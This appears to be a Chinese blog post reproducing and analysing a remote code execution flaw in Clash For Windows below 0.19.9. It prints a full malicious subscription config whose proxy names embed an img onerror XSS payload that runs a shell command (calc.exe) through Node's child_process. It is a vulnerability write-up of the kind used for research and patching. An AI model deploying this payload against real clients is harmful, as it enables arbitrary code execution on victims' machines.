Clash For Windows远程代码执行漏洞复现&分析

2022-03-03  本文已影响0人  GeekRabbit
image.png

Github上曝光了Clash For Windows开源代理工具的远程代码执行漏洞。据了解该漏洞利用细节及漏洞利用代码已在网络上公开,其可能已被在野利用。

漏洞危害

代理规则配置文件中未设置严格的输入检测,攻击者可通过构造代理配置文件中的 XSS Payload 来执行任意 javascript 命令。

漏洞复现

构建恶意服务器站点,在站点部署cfg配置文件,内容如下

订阅文件

port: 7890
socks-port: 7891
allow-lan: true
mode: Rule
log-level: info
external-controller: :9090
proxies:
  - name: a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
    type: socks5
    server: 127.0.0.1
    port: "17938"
    skip-cert-verify: true
  - name: abc
    type: socks5
    server: 127.0.0.1
    port: "8088"
    skip-cert-verify: true

proxy-groups:
  -
    name: <img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
    type: select
    proxies:
    - a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>


 - name: a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
image.png

漏洞描述

由于crash_for_windows_pkg可以根据URL下载进行配置Rules文件,crash_for_windows_pkg由Electron提供支持,该产品在代理规则配置文件中未设置严格的输入检测,攻击者可通过构造代理配置文件中的XSS Payload来执行任意JavaScript命令。

漏洞范围

Clash For Windows < 0.19.9

漏洞分析

crash_for_windows_pkg 由 Electron 提供支持,该产品在代理规则配置文件中未设置严格的输入检测,攻击者可通过构造代理配置文件中的XSS Payload来执行任意JavaScript命令。
"proxies"中的"name"字段嵌入html标签,"onerror"时触发语句执行。

上一篇下一篇

猜你喜欢

热点阅读